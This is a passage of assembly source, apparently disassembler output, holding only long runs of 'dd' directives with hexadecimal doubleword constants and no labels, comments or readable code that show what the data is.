		dd 0A6BCB94Fh, 38C4932Ch, 0CC564800h, 0BD1E0917h, 0B75500C2h
		dd 0A04331FFh, 5A00E9C9h, 6408A7A8h, 1593A0Ah, 0FD670E19h
		dd 0CE0FEC76h, 0AF58E0C0h, 554CF402h, 43735917h, 2F42A893h
		dd 7F06001Fh, 0C09D0E48h, 6300A685h, 0B944512Eh, 67B0D5h
		dd 0F60372F1h, 0CD685BE8h, 467E1A00h, 0CBD09F6Fh, 0CF6D006Ah
		dd 2A0B75DAh, 99015CEDh, 0D7DD4709h, 0B8CBA88Bh, 38C931BEh
		dd 6993E7DCh, 5E5800F4h, 0FC81AC01h, 83E33Ah, 0EAE1DAF8h
		dd 9EA573h, 0B551F971h,	0AFD796B1h, 7B75BC07h, 0E9C087DFh
		dd 0E02F675Fh, 44E200C3h, 66970EA4h, 9205FE75h,	62FB4CAAh
		dd 0B06EB80Ah, 9B2FEA41h, 0ECE929E4h, 0EB7D8Ch,	0F327C9B2h
		dd 0B44DB74h, 0D8FE49h,	8FC44E60h, 1E846611h, 0C7300CEAh
		dd 1FF0CB49h, 47FB814h,	21012CB1h, 92A88005h, 0C605BEC8h
		dd 54641CA0h, 901A5C83h, 0EEE8ED57h, 189902FEh,	0AA4CCD20h
		dd 0C96ADC40h, 9D095D76h, 8062528Ah, 39E8CCACh,	0EDBD0076h
		dd 978B23F6h, 0F200C8DAh, 0C91DEAB0h, 4827C6F4h, 0E500AC1Ch
		dd 5EC4EE50h, 500AF02h,	1D78D2DFh, 3A60B0E2h, 0F880A4BCh
		dd 39BBE5D3h, 630FA14Ch, 6E61202h, 0C808ADh, 3B41ED53h
		dd 0E22FC8A7h, 2C452326h, 0C6F77480h, 0E5CF49h,	0C76D6F2Bh
		dd 11646832h, 39F9F207h, 93505923h, 70BC172Ah, 7EDF0358h
		dd 62D23718h, 0C9EBF7D7h, 75336500h, 8F316B2Dh,	2EEAD09Dh
		dd 0D566E0h, 93DF3E6Ch,	3DAE5B77h, 369D0600h, 88ED7BC5h
		dd 45801D17h, 0B39843EBh, 1A80A82Bh, 910011FDh,	0C34B49D6h
		dd 20043FA4h, 8B108FE5h, 0BA005825h, 0A61F282Dh, 0FD00ED37h
		dd 0F47B50FFh, 7A39ED9h, 0D340A88Eh, 5C40190Eh,	76F042E8h
		dd 43CACB0h, 0E52700B6h, 4CA211F5h, 0AB200049h,	0BD5826F3h
		dd 0D05658Bh, 0DEA4BBF7h, 841D9401h, 6A70BA4Ch,	0D43E05D5h
		dd 0EF50D3Fh, 4DA49194h, 5A1480ECh, 60B7F6DDh, 22BD0Eh
		dd 0B65F9EEEh, 0AAC52075h, 0FD0070B8h, 4D6CB471h, 70C3570h
		dd 1A91E8E1h, 30D7C027h, 0C72E199Ch, 591A045Eh,	0A04C020h
		dd 0F09448DAh, 0BB9EB839h, 0CDCB408Ah, 0FF0B1C8Bh, 985F5Dh
		dd 0D8B18CA0h, 0A90DC3h, 391BDC9Eh, 6FEA488Bh, 6A00C7FEh
		dd 16F4865Bh, 0B07ABCh,	54652273h, 0A9BB2361h, 8CE06806h
		dd 1874A5h, 0E9E689AAh,	1601C446h, 93529102h, 0E0A03B02h
		dd 4BDB75h, 0BAA6F362h,	34D686C6h, 50985239h, 22007DC0h
		dd 0CC68A5CAh, 81849Dh
		dd 1AE1B31Eh, 9070F2AEh, 51D5701h, 0D9F865A3h, 0A0BED6FCh
		dd 9DBAD8h, 20471B40h, 5B94A73Fh, 695E3Fh, 8BF761FBh, 14713D6Ah
		dd 0AC40FA8Dh, 5A5EC807h, 0DB5900B1h, 0F001709h, 82737928h
		dd 20CF9Eh, 0ED4783C1h,	0BA4AE13h, 92F59C00h, 0B8714F4Ah
		dd 0CD6600ECh, 17DF73A1h, 0D000F999h, 7E4907C6h, 1DC833E9h
		dd 0CE92F2D5h, 5FE12C68h, 70746C76h, 0D3003CC6h, 0ADED58BFh
		dd 45A293h, 6D605D3Ah, 84DFE8F1h, 0D0018E8h, 24B5A6F4h
		dd 0A37E6C1Fh, 5C3280B0h, 73891E74h, 4BB240CAh,	0FB8DE957h
		dd 0EC8B7700h, 0F1432667h, 407560D0h, 20A4D2C2h, 5BFD4F00h
		dd 0CA52331Ah, 26DC00EFh, 5A7E650Eh, 161D9E8Ch,	0D900CD1Eh
		dd 6E5D9787h, 3B9F0184h, 78E0F494h, 7B80A6CCh, 25995000h
		dd 3FFA8Eh, 9E4F8C52h, 7294D431h, 0C3BD600h, 847F6C48h
		dd 749C0058h, 649F517Bh, 4101BFC5h, 1E4C4ABEh, 9E0D19Dh
		dd 37F600A2h, 1AEC7B9Eh, 627AAECBh, 34EFAA01h, 808A984Eh
		dd 7847CFC8h, 6F39001Eh, 52F2B39Ch, 82006E71h, 6A62D875h
		dd 3BFC4629h, 802EC540h, 0DAAD09E5h, 0EEB26B00h, 99007914h
		dd 202BD9E9h, 985C17EBh, 0F82018Eh, 0DBBDD58Eh,	58208084h
		dd 873C39ABh, 24AC9AB0h, 75E66C6h, 40250CA4h, 26A7CB70h
		dd 2D7C2109h, 5F9060B1h, 5E130B07h, 0BC200810h,	930BC5E9h
		dd 0D8BDD413h, 38F5A440h, 3B5A3D0Ah, 9D00A43Bh,	6271F6F1h
		dd 9700C08Fh, 33B226B1h, 0DDDA5Bh, 0BBCA0FC9h, 74AC4A86h
		dd 25645058h, 19BC90BDh, 1DA70072h, 57B00540h, 5CF84BC1h
		dd 0FB667000h, 2560924Ah, 0B498DCh, 0D4B51E45h,	266A36D2h
		dd 7DBC6324h, 2502C303h, 14A000ADh, 2F7DA616h, 0C60086E1h
		dd 6337AED9h, 1E929ACBh, 80650536h, 542E46D3h, 660484EEh
		dd 0AEEF5776h, 26E828C0h, 2BF300FCh, 65D69ECh, 19308541h
		dd 0B130A633h, 3FE290h,	3CF7898Ch, 9FB30873h, 980B453Eh
		dd 8AA8C948h, 0E45E0037h, 1D95B7A9h, 57137CA7h,	0BC03D9DBh
		dd 0A12246A0h, 74707191h, 1D251FA8h, 0B87201ACh, 0C4A1734Fh
		dd 9F0FA4E0h, 0A061B5D4h, 70811EC6h, 40570396h,	0BE8F3E7Ah
		dd 2E10BB8h, 0DAB72E00h, 7948302Fh, 36EF0018h, 53646CA4h
		dd 9124C1FFh, 4B0025A3h, 0D63CCB75h, 0E06B79C5h, 0E7C300CFh
		dd 67FC2F19h, 7D00FDABh, 5B702E8Dh, 4423C2Bh, 0ED85DD6Ch
		dd 3754C1D8h, 1A36E835h, 30EFCD2Ch, 0CF5F0F81h,	1060F41Fh
		dd 5C570095h, 0DF0B4CE1h, 7A0637D5h, 0F3E27356h, 0D9D89720h
		dd 0FD2E7F1Eh, 5E87B900h, 6612F05Bh, 403610F5h,	20D3A50Bh
		dd 0B7075F6Ch, 0B76173CDh, 91E295C2h, 9C9C0Ah, 0CF346A20h
		dd 82787E05h, 0AD4A2C05h, 54C03670h, 0F9C65A8h,	881E56E4h
		dd 0C8F6AC81h, 6D142076h, 82E7EC00h, 89F5178Bh,	565218C4h
		dd 0BEAA60F8h, 0AC5A5F7Bh, 0DF6C3004h, 0E3555480h, 0C42B0248h
		dd 4733AA2Eh, 0F2426848h, 1C947300h, 18776323h,	1BEA266Ch
		dd 816987F4h, 49824907h, 0A448E915h, 0F50313D0h, 0CFD90820h
		dd 6B2AB139h, 0A3D1270h, 0DD0ECAEBh, 0AE588098h, 0CB3AD41Dh
		dd 74056C24h, 64B1A882h, 44C0807Dh, 1416269h, 0EAA55E5Fh
		dd 87DB93DDh, 5A76D669h, 11E276h, 0E03E1DEBh, 65607568h
		dd 2600B090h, 0DEFF599Eh, 0A0D5C6A7h, 9F5F4h, 0B8572262h
		dd 0FEB402F9h, 74005A72h, 0A49E978Ch, 73215BBBh, 323D0F26h
		dd 2C401FE4h, 0B22BEE6Bh, 8AA3A100h, 25CD6163h,	1DBB5ED2h
		dd 4F0B8014h, 43DF119h,	72AF6E00h, 35F2F69Dh, 0E5310556h
		dd 0D06690C8h, 0E3B61230h, 0AEDCAB50h, 0CE430084h, 34C3959h
		dd 6F004DAAh, 9947C8BDh, 7ABC0495h, 0E7B0011h, 0E26D1C6Bh
		dd 0A5002B73h, 0E66AB961h, 0FDEDA2Dh, 6367D72Ah, 9ECA0DC0h
		dd 0F20045CDh, 0EC356508h, 0FE54E6h, 0F06733DBh, 8FE290BAh
		dd 1C03E8BEh, 0B8AAA08Bh, 0FC0EDC94h, 0F2113078h, 80F889A1h
		dd 0CB14AB01h, 5346B30Dh, 0E318C24h, 4A50E787h,	32851A80h
		dd 4126D8DEh, 7B9FC01Bh, 0C19A5833h, 5180A68Ch,	35839480h
		dd 8E00B036h, 0EEEDE05Ah, 0CE6FFE95h, 90A0FC59h, 3807F537h
		dd 0E55D6301h, 45D93DF7h, 44204F02h, 40927D3Bh,	0AE0093ADh
		dd 0D0F5951Ch, 1C464E55h, 4A0E9E27h, 0BA2409E9h, 99E2F080h
		dd 8A181C77h, 69B56200h, 0BFA140DBh, 3F50B86Ah,	7DFD3Eh
		dd 0B3CCF3A8h, 0DC5B92AFh, 0EAC36326h, 0D899D600h, 41E9F5h
		dd 1DF1A273h, 2BB3B169h, 4049EA00h, 0FF48A8C0h,	2BA72DFh
		dd 7645E0C5h, 2BC04C0Fh, 4F007B66h, 0FC229A24h,	2DADE9h
		dd 0B7B0D275h, 83B98F11h, 7BD70500h, 0D6565009h, 300A0094h
		dd 603ABB10h, 4F2C5D01h, 89070099h, 6DC1AD1Fh, 0B2E0E306h
		dd 0AA5A004Ch, 9103696Fh, 47071693h, 8CF5EB0h, 0F02E2940h
		dd 30D2001Ah, 31D4C537h, 94A0E3F3h, 1D06E7DBh, 25C719ABh
		dd 5FD80070h, 0D9D2A856h, 9F00717Eh, 0AD7D61E9h, 0AB52A5h
		dd 3D6B4365h, 0D2C8DB14h, 69389D00h, 10C28CB5h,	226C163Eh
		dd 38C001Fh, 0ACDD0FBBh, 5B235007h, 7BA0B042h, 0FE9B0D74h
		dd 14D60031h, 882F15E3h, 30F6F04Ah, 0B9750B00h,	160E1AF3h
		dd 0B4B63EBFh, 0E2533D81h, 202FECA5h, 0C8A1D788h, 43C43093h
		dd 50C4FD0Eh, 810C2922h, 0CFA481ABh, 0B80B16C0h, 91633F04h
		dd 0C1541C83h, 90C3E06Eh, 66D0ADA3h, 623F88B4h,	30C30B87h
		dd 0B10CE03Dh, 9F1B0059h, 2C88F57Bh, 0D0131931h, 0A85E2047h
		dd 0A4E404BCh, 649C94E6h, 246C00AEh, 0D606B1C4h, 183A0CB7h
		dd 79EE8008h, 27D246D4h, 0DE7C0073h, 0C14A920Eh, 46B005C3h
		dd 0B316049Eh, 982D90Bh, 2C60107Eh, 209A5D52h, 0D3FD2800h
		dd 0AC313011h, 160DE59h, 8247E7Ah, 0D8806C7Dh, 581E8A78h
		dd 8B0D54Eh, 3CBCC00h, 0BA46FD4Ah, 618ECBBh, 2808251Ah
		dd 0A1007875h, 44F25C3Eh, 4E090F01h, 0E1A4001Dh, 0E276433Dh
		dd 0BEDDD100h, 554E9A1Ah, 97260B2Ch, 4060583Ch,	93487FE6h
		dd 0D1D20ECCh, 0EE0B40D6h, 2CA9570Ch, 9008F805h, 3311C060h
		dd 0E23E6CC3h, 7C9E1E71h, 0DD80FB4Ah, 76618144h, 57008F9Ch
		dd 27798A3Ch, 6094ECDEh, 38AFC27Dh, 0A8028CF9h,	310DC51Eh
		dd 98C45Ch, 0E9EB5EABh,	0A71C97C2h, 3AE2EC00h, 5CF50425h
		dd 4BD50B02h, 0D7B194h,	1AB57581h, 3ECEC18Eh, 0D87F2D95h
		dd 20589376h, 800D3EDBh, 65DE1656h, 0E261D914h,	12E07E67h
		dd 741A28Ah, 3A083208h,	1580BEE0h, 0BFC566FAh, 4090386Eh
		dd 0E9028DE0h, 43449F32h, 6C98E0A1h, 97350176h,	7CB57BBh
		dd 0D83CD8h, 7D4790F9h,	0E53DCACh, 0B9CF9DA1h, 0D55582A0h
		dd 0ED0005D1h, 306FC3Bh, 1DD8115h, 5A36E8F8h, 0C41012A0h
		dd 0A3091F5Bh, 85CA0222h, 94C1C1A0h, 30702D19h,	83A70361h
		dd 0BB8511E5h, 307D28C1h, 5200EC1Ah, 0A2F91B9Eh, 18E8B06h
		dd 1F5FFDCCh, 7019136Bh, 0AE4AE084h, 0E3CFD400h, 2DFB589Fh
		dd 84900E73h, 11013341h, 9DE72BB2h, 3CC0771Ch, 6E9F073Dh
		dd 0B03BC384h, 0BA505AA7h, 61CB9200h, 6AC53FF2h, 677138h
		dd 9966DB79h, 6C60739Bh, 0EF2494B8h, 20002CFBh,	0C2CFEE52h
		dd 3FB17345h, 53249482h, 0B98A00C8h, 0CBF0C693h, 0B43F9D00h
		dd 5D8E3BE1h, 151200E6h, 0D84DD77Ah, 2500A13Ah,	0D3928DAh
		dd 1F4A4Bh, 31B41D95h, 0C96EE9A3h, 0A41EFC00h, 0A85A17C5h
		dd 39872D2Bh, 2E3FE438h, 9CDF901Ch, 0C6F782FCh,	0C00B0466h
		dd 38D4313Bh
		dd 500EB496h, 19407326h, 32A987BAh, 157D3F00h, 0FA62D511h
		dd 40930BF8h, 0AE83B36Eh, 48F8DC37h, 8F721ABFh,	0F6728007h
		dd 6D717EEEh, 0EC3EF03Dh, 8FD00FBh, 0C7ACAEA0h,	81C91E39h
		dd 143E0040h, 4F1523CDh, 0A2DA4200h, 0CE22FB0Ah, 2A1B00B8h
		dd 0C40D7FAEh, 0AC0134F3h, 0E70A9751h, 0E0E08F0Eh, 48FAF728h
		dd 705ACE68h, 0A0FD00CCh, 0F0069095h, 0C603D8D3h, 5717BA07h
		dd 9CE89844h, 30F325E3h, 0E1F0D060h, 653E5F00h,	286453DDh
		dd 0C6870029h, 21D0AD4Bh, 812E10Ah, 78D83815h, 4CF407B5h
		dd 0A9627E87h, 0AB5FCE83h, 0F185EED0h, 0A659A900h, 86823C92h
		dd 0D4AA00CAh, 6A633743h, 0E70577C9h, 5848A0BFh, 21A3B9C0h
		dd 1C410099h, 0B038FEADh, 0F600732Bh, 2A22681Ah, 95DD19EFh
		dd 0DE9DB480h, 0F704858Fh, 0FB553CF3h, 0B8C29E80h, 8798B4AEh
		dd 871A63CEh, 515081D6h, 0AF33F438h, 0B8C910C0h, 0BAE44A4Eh
		dd 3CD8A004h, 0A33A3CE8h, 0DA8F9800h, 0CA9C1F9Fh, 0D5829100h
		dd 4ED10FD0h, 0B4AC5h, 1C907CBCh, 0CC03AECDh, 0B0E5920Dh
		dd 1BC1B8F9h, 0B8E35A27h, 0D39002CAh, 0C8A4060Bh, 2ED19F34h
		dd 0A7B0D5BCh, 61D3BC22h, 2301AC60h, 538ACC1Ch,	981875C0h
		dd 0DE5652h, 2219F39Ch,	6D784B4Eh, 0F189A60h, 0A38E03h
		dd 1560905Dh, 85E3971Dh, 6139D40Eh, 944F4033h, 509FE4B9h
		dd 440A72Fh, 0E6F07B58h, 8FF0C772h, 0A745C962h,	992DBC50h
		dd 9A7886D3h, 0B82148BAh, 2075A280h, 0DE00D808h, 0E3A67B12h
		dd 3F3AD0h, 0C5948F2Dh,	2BA1F7C9h, 0DD87B607h, 0B4F12908h
		dd 808522A2h, 40A71370h, 9D35F894h, 95028896h, 51C122EAh
		dd 1E888323h, 6DDAC13Ch, 3FF4A030h, 0A62CA940h,	0E6C8AA0h
		dd 31DE80B4h, 0F0FF2D77h, 3BD9125h, 0B048E9D8h,	98B490CDh
		dd 0C81400D4h, 0DDED1019h, 1A000A87h, 9033A2F7h, 51AF8AC0h
		dd 0F8C9E456h, 8C9C34h,	20F1FFDEh, 8911CE88h, 0A0D6C300h
		dd 0EC18721Ch, 4B6500E1h, 8B22F9EDh, 0B91E5B8Ah, 634073DEh
		dd 0D70AAF29h, 4C70ECDFh, 0EB084016h, 9D4079C6h, 0E534981h
		dd 36EA55B8h, 60924B41h, 80DCE902h, 0A2931E0h, 3F1B8105h
		dd 373EE184h, 0DF857B09h, 20002450h, 21E65CF6h,	0B5A6E0h
		dd 96D6E28h, 47A80C18h,	431DCB00h, 0A1545F59h, 8FD70BC0h
		dd 6D00E6FEh, 0B56E99F2h, 4100CA79h, 8B820557h,	3598096h
		dd 519A896Fh, 0B4C009CBh, 4F028CEEh, 0BCD86986h, 2DA54193h
		dd 0BC20C2A7h, 35D96E80h, 0E2C67801h, 0AF044F48h, 0E0EB5ADCh
		dd 0AE8F144Ah, 1B26D3D9h, 51CE80F4h, 9E99117h, 283BD012h
		dd 0FA10ECE4h, 48292C43h, 24BB0567h, 77F8A0ABh,	0A42E4000h
		dd 654571B0h, 8F6E003Ah, 0D7EB6B38h, 0B4A0158Dh, 4D00D16Fh
		dd 4E77D33Bh, 0A0CEE7DBh, 7030179Ch, 16940BB0h,	43806203h
		dd 0D78A1E3Dh, 9DEEACC5h, 9249B200h, 0EAD669h, 5A30C07h
		dd 10320E7Ah, 0E090DF25h, 6C1450h, 687FCC50h, 834C9957h
		dd 0E0852725h, 515C17h,	8F95A421h, 0E2ED33E7h, 19B7D900h
		dd 86A0C396h, 13A70446h, 0AC52426Fh, 3510048h, 0F4A31C54h
		dd 876C0026h, 0CA6E08FAh, 2400C294h, 3E19E013h,	18E925h
		dd 6FAA603Fh, 27F74362h, 0AF04A4B0h, 782B752Fh,	88CE3E0Fh
		dd 0F298D941h, 8033CC4Bh, 0A1D15A00h, 5999A247h, 0EB640182h
		dd 816FA0D4h, 7E50303Eh, 42BD3303h, 0AA4B1B98h,	0CD40DF22h
		dd 0C509787h, 0A2095FB0h, 5A683A1Dh, 70D25894h,	2637FD00h
		dd 59A3FCECh, 3D07EE1Dh, 0BCA7DE80h, 4C36314h, 66FD50F7h
		dd 99C8809Ah, 9EB0119Fh, 4E04A27Bh, 200BBBEFh, 0E0B39980h
		dd 986A0B83h, 4C84D2A6h, 0E198C749h, 7035F7FAh,	0E400F64Ah
		dd 0F4B17C2Fh, 0CD482Ch, 0DE01FFD7h, 0EC8E4723h, 16D5A3Ch
		dd 46903D8Bh, 5470E151h, 62530277h, 63BAC238h, 9B036C56h
		dd 0B023893Dh, 0F15248h, 0F3757EBEh, 6A2895A6h,	0C0C29D0Eh
		dd 0FFDF631Ah, 0DB818076h, 0D43B2EDEh, 0D0F801A0h, 34613FD3h
		dd 0FC11ADECh, 3D01C088h, 904C57DCh, 8FD130C1h,	0AD172400h
		dd 0B4B10231h, 5688A089h, 0FF1C0074h, 6B30A9F3h, 3A0901B2h
		dd 82E2A485h, 7403E008h, 9180040h, 6584741Eh, 264B8B00h
		dd 0B30EFFE1h, 921303BCh, 2958F932h, 0E75462E0h, 1B656B00h
		dd 22C1F25Ch, 7530F263h, 0A0C0FE1Eh, 954AF6h, 8EBF81CAh
		dd 0A79917B3h, 352DBE01h, 6DD8E194h, 271FBDE4h,	0E400CEF0h
		dd 60390A59h, 27EA1A00h, 1550FC6Ah, 0E58302A8h,	113173FFh
		dd 7E40E476h, 553B6BDh,	0D6B723BFh, 1218D114h, 61D360E0h
		dd 8C0E94A8h, 81712F1Fh, 0A5372042h, 9CA8A08Ah,	0EAC65AD2h
		dd 7BF3013Bh, 3205A248h, 2F59C90Ch, 0F51EEC00h,	9D94BD9Bh
		dd 0F139A000h, 954E3F47h, 0D33C11A8h, 87601980h, 30DC3353h
		dd 9757AE16h, 78839000h, 0F66C282Ah, 0ED5D1934h, 8747189Ah
		dd 0B6CA987Eh, 0B4817335h, 0A2FCB008h, 0FDBB07D0h, 60F2BEC8h
		dd 78B27DACh, 730064E6h, 0B6C6E91Ch, 84F8ADh, 0A0D7D454h
		dd 25EB98A9h, 0E069CA00h, 851BAE3Dh, 22081DB1h,	2E350714h
		dd 8111B0E3h, 2D02E8C6h, 481ACDABh, 54908071h, 9CC8D7h
		dd 25941C0Bh, 0EA227512h, 147CAB0Fh, 0A265A081h, 2F3C0D16h
		dd 0AF54F494h, 928F803Eh, 51FFC3B8h, 606E01D6h,	0E9F44E32h
		dd 4A90708Ah, 0A318A900h, 10B372E0h, 7F4D3FB2h,	8027919Eh
		dd 9521CFB8h, 2900C923h, 0E4FCF680h, 0B834Bh, 5618F4E1h
		dd 0A3224052h, 1A642095h, 954E1769h, 0ADBCA640h, 0EEA21201h
		dd 833F2A6Ch, 1D53430h,	0CE7A410Fh, 47BE7C0Ah, 3C290D0h
		dd 19003020h, 9EAAA5EEh, 6C809E3h, 361BF2EFh, 880054CCh
		dd 4AFB118Fh, 0BA643Eh,	0F912B654h, 2E748C48h, 0F652B713h
		dd 91C4E0h, 62D1D54Ah, 78ABE495h, 98BF9209h, 4EC0C03Bh
		dd 0E7280759h, 21FE7655h, 0EC820E1Bh, 0D65B4BF7h, 32AE7C00h
		dd 38B34320h, 0A28019ABh, 0B1D7A512h, 0B0056A0Ch, 72704176h
		dd 48FD2CB0h, 2909801Bh, 28D8AEDFh, 4D7D1203h, 1788C1Ah
		dd 0A17B0310h, 60C95B5Ah, 2B00C85Ah, 872635DFh,	14DBD055h
		dd 0FC94BAE8h, 0C0156600h, 39AF1A5Ch, 1F01FA72h, 7806E3C4h
		dd 3BE2EBh, 0FC0EAD4Ch,	0E60054BCh, 250CD7E8h, 3FC632A3h
		dd 0BE008AB0h, 72BFB2E4h, 0AE2E2F02h, 148BA476h, 1F10E031h
		dd 0F5A007B9h, 109C123Ah, 90EB46F9h, 3EB48A04h,	0DC94157Dh
		dd 0C232DA80h, 0E81D6343h, 3BF922CFh, 798050C1h, 25774235h
		dd 0C8C3093Dh, 0DBE454C0h, 0D0B8962Eh, 0D04FE884h, 0AF30FCA8h
		dd 0ACA8D721h, 0C002047Dh, 0DB6E9748h, 8B61C377h, 0B6891284h
		dd 0C21C900Eh, 21005CF1h, 3953E17Bh, 96C7D13h, 249926B1h
		dd 4700B872h, 3CB07822h, 0F2A3F3h, 54E2907Eh, 0F98A6625h
		dd 0E126EF2h, 34F06D2Fh, 6FA50131h, 0DB78077Ch,	728028C1h
		dd 0EA6C7300h, 0AECE85D7h, 62FF09A9h, 40A03650h, 0FD131DC1h
		dd 402AC8C0h, 0F23ABAE7h, 79910215h, 0D9D5AC0Bh, 0A8994440h
		dd 0B881C800h, 3F631F98h, 678803D8h, 0BB323476h, 59CA6A8h
		dd 0A95D2716h, 0AB8D5480h, 0CC593D76h, 96AAF384h, 0BD0DC05Ah
		dd 0D8F356A2h, 137A19E6h, 45304B60h, 9D40460h, 0DDB5BFAEh
		dd 0E2E97418h, 0ED3EF0Bh, 0F63C04F9h, 762CAA80h, 90816050h
		dd 87686CEDh, 0D8C796A0h, 379009C0h, 62771665h,	0C8F629D4h
		dd 62F7C363h, 8607D2Fh,	0B30162AEh, 0CC8E0D2Eh,	24806AD4h
		dd 0B866F6EDh, 733FF3E3h
		dd 0F83180ACh, 65A8E2BAh, 0C3160758h, 0F3A7013Eh, 4F06DF7h
		dd 15E2CA90h, 576096F0h, 4279B770h, 0E4E85894h,	16C05B00h
		dd 596EAB64h, 927ADEF6h, 58E60731h, 0F9F42A06h,	60AA0AAEh
		dd 9E4C583h, 0BC42914Bh, 0A90064F0h, 23435BB2h,	3B77CA5Eh
		dd 0E10283A3h, 8B4DBF4Eh, 0ADFC0740h, 0A8008C4Eh, 0E43513BDh
		dd 487E0E76h, 3E401FA8h, 0C4A71505h, 0EC80201h,	0A3B385Fh
		dd 95D65D4h, 8774D079h,	48307010h, 0E95B9B72h, 9E095002h
		dd 0B69F407Fh, 0E35E0037h, 0CFD8D1FFh, 0EC910E4Ah, 5E3067CEh
		dd 0E521FA60h, 0E89A48AEh, 0C9200A3Ch, 52375007h, 3BB03479h
		dd 6C48E1h, 0D5876E20h,	39D2EB9Ch, 2C6123Ch, 66321EDh
		dd 0B9604001h, 0CC0D287Fh, 0F9DE7494h, 68F849FEh, 3FFC022Eh
		dd 68681BC9h, 0E65F30BCh, 2EB9008h, 3F3CAFC4h, 8EF75060h
		dd 0ECDD3300h, 0E8BCC245h, 0AF1E00F5h, 716FBD65h, 0A5029948h
		dd 6D262B56h, 270D4ADh,	0D596FA37h, 0EA44B47Eh,	0C20048EDh
		dd 1D0C591Eh, 0EC92DE29h, 9958AB13h, 0AE07A816h, 0AA608489h
		dd 0F238B3EDh, 0A31E07DFh, 701ADC81h, 0FC3F89F5h, 271C23F6h
		dd 7FC0476Fh, 5F425CA5h, 64831873h, 16D4107Dh, 7AF55000h
		dd 57AB6662h, 84A30267h, 0D7DCBFA4h, 2BB7EEE0h,	7C78FF00h
		dd 0EDCD0249h, 0DED4FB40h, 62990028h, 0FBA59D64h, 0A0003D04h
		dd 0BB73D570h, 0A36E05h, 0B336D10Bh, 2E85D98Bh,	4C1F83F0h
		dd 5D00C74Fh, 9290CB5Ah, 0C17C3E3Eh, 2CF2B001h,	0C453A641h
		dd 1B7D60BCh, 3062C800h, 0F555D69Eh, 0ACE160ACh, 0FA9B8FFFh
		dd 4B132E00h, 9FFDC0E8h, 555C0009h, 29C4AFE7h, 0BB00B5DAh
		dd 0B2549CDFh, 22FC1E2h, 49F40BD0h, 9CA03F8Fh, 0E5D781D6h
		dd 0CE8C310Ch, 0BA7073h, 6FEA100Fh, 232409B9h, 0FD3E2C18h
		dd 28BF40h, 4FCE27FFh, 0C8905A31h, 9E193Bh, 9B7742E9h
		dd 786BF5A2h, 91ED00B4h, 0EFAD237Ch, 3119781Eh,	4179BE9Dh
		dd 39017C0h, 6721F6A5h,	5698D2ABh, 521FE85Fh, 0C940A29Fh
		dd 0FE972BD0h, 0B096002Fh, 0AE805403h, 0BC00A1DCh, 4010A625h
		dd 0B97FD46h, 0EEB9A04Ah, 5519C000h, 6500761Ch,	0F27961CFh
		dd 0ED5228h, 0D559AF5Dh, 369B90BEh, 0E850A00h, 1A84C5D6h
		dd 9AFC89h, 0F88819B2h,	67D162C9h, 30931701h, 268A21B4h
		dd 1970ECCh, 79AAEC47h,	963977C0h, 0A0E82E8h, 0D6E6A0FDh
		dd 24E4C7AFh, 1E9D3Bh, 0B4625AC5h, 0DC0729B2h, 5D4277BEh
		dd 1EE885D0h, 0E55002Ch, 0D82FB698h, 0F2007E56h, 37BE9016h
		dd 7559CFh, 0A89618EFh,	0E2733D05h, 191DE773h, 0D0801404h
		dd 2E8EF2D6h, 0C2BE1CD1h, 0D262438Fh, 51A2DE53h, 1E013D60h
		dd 0BCBD9300h, 32A1EDB2h, 9E2C008Fh, 0C191B69Ah, 700CDB3h
		dd 0A8BB837h, 0E728225h, 0D942F10Ch, 4CD255E0h,	140333C2h
		dd 3DE7F779h, 0A1A590ECh, 60F00E4h, 9DDDDCDEh, 90008C82h
		dd 9B1568A7h, 28E2CEB8h, 0E390AAE4h, 220D8h, 2A081DB7h
		dd 976FF949h, 8400C0FEh, 34352CD6h, 78C77Ah, 87C3CA38h
		dd 0BFF95FB2h, 4CD8D309h, 0DB1C005Bh, 4DC8EDh, 0AFD2815Ch
		dd 506C1A64h, 0C991DC00h, 0F4CBC38h, 708074D3h,	615AE010h
		dd 5FF456D4h, 30C02006h, 2EA17303h, 0B83F49E7h,	5AE866h
		dd 0F3B9B637h, 55AED129h, 0BB38081Fh, 0E2BFE900h, 78630F5h
		dd 0F14C7E61h, 849630EDh, 0A2076BF6h, 31CFFAAh,	0C81478D0h
		dd 5C3D0018h, 761BDE97h, 3001288Bh, 0EAD6C9D0h,	88407770h
		dd 1290F3h, 0E1A465F4h,	509AE5AFh, 99044B00h, 27F3D4F6h
		dd 1ECE2424h, 0D6DE0B18h, 1D9C0C8Ah, 0F0FD0F2Ch, 4E8FD740h
		dd 8A00AA36h, 9364C60Ah, 7470D41h, 0EDB0D060h, 9F9A5083h
		dd 2C00204Ah, 6EE8E4DCh, 3214D8Ah, 47D1F159h, 248AEA26h
		dd 0FE091840h, 0F8E4970h, 0A47BB34h, 0E2957E42h, 971DDC48h
		dd 809FCF00h, 674CD312h, 0CEF400AEh, 0FA966B33h, 560EB717h
		dd 0A04D45AFh, 0B07AD1CCh, 557E5Ah, 8CCE1980h, 8DB5338Bh
		dd 32833414h, 80203C98h, 71E144D7h, 1DDFFDB0h, 5D7E1852h
		dd 5680FC0Ch, 4C365DC8h, 20ED0EA0h, 16011117h, 471A22BEh
		dd 27F82C19h, 4D4E009Bh, 883A57E7h, 4601932Dh, 2B6EBFB5h
		dd 69D80E3Bh, 8E45Fh, 0EE4370D6h, 968218D2h, 0EBC958h
		dd 84311455h, 45E628h, 0D3CA223Ch, 2A601EDh, 1798387Fh
		dd 2DF7095h, 8C6BE66Eh,	0B8601C70h, 2891C262h, 3CC97500h
		dd 0B478F0h, 28179D76h,	12D364ADh, 59007976h, 2E982451h
		dd 0AE264Fh, 335D58A7h,	0BE2D4DEAh, 0E89053Fh, 60B1C79Eh
		dd 0C0E14B81h, 0AFFA00F3h, 0F96AEBD8h, 53003ED6h, 35641D45h
		dd 0B8BE07A6h, 59DC8056h, 90DC0F47h, 0D2804D5Fh, 0C41941B2h
		dd 7732CA04h, 0A5BCA274h, 4A2C3300h, 0E12067C8h, 0E3EBB302h
		dd 800A1D3Fh, 0D1BDFA8h, 12750AA3h, 0ECBEAFh, 8D418AFDh
		dd 0AB001610h, 54C1E59Ah, 382943CCh, 0FF813E80h, 2B20CB9Dh
		dd 6AF1E077h, 0AC19B0Ch, 76071122h, 0AFED0073h,	95E43B8Ah
		dd 70C0CED1h, 0CF103358h, 669E12FDh, 0D97C4060h, 90A50DF5h
		dd 179AC201h, 679E0534h, 0FCC71040h, 81B1C70Dh,	87AC0338h
		dd 417A07FFh, 4329C752h, 0D59F10h, 62B3CD1Ch, 0CC743407h
		dd 7E51A900h, 0D87F026h, 6A1500E7h, 0B1B3D68h, 1C0044BEh
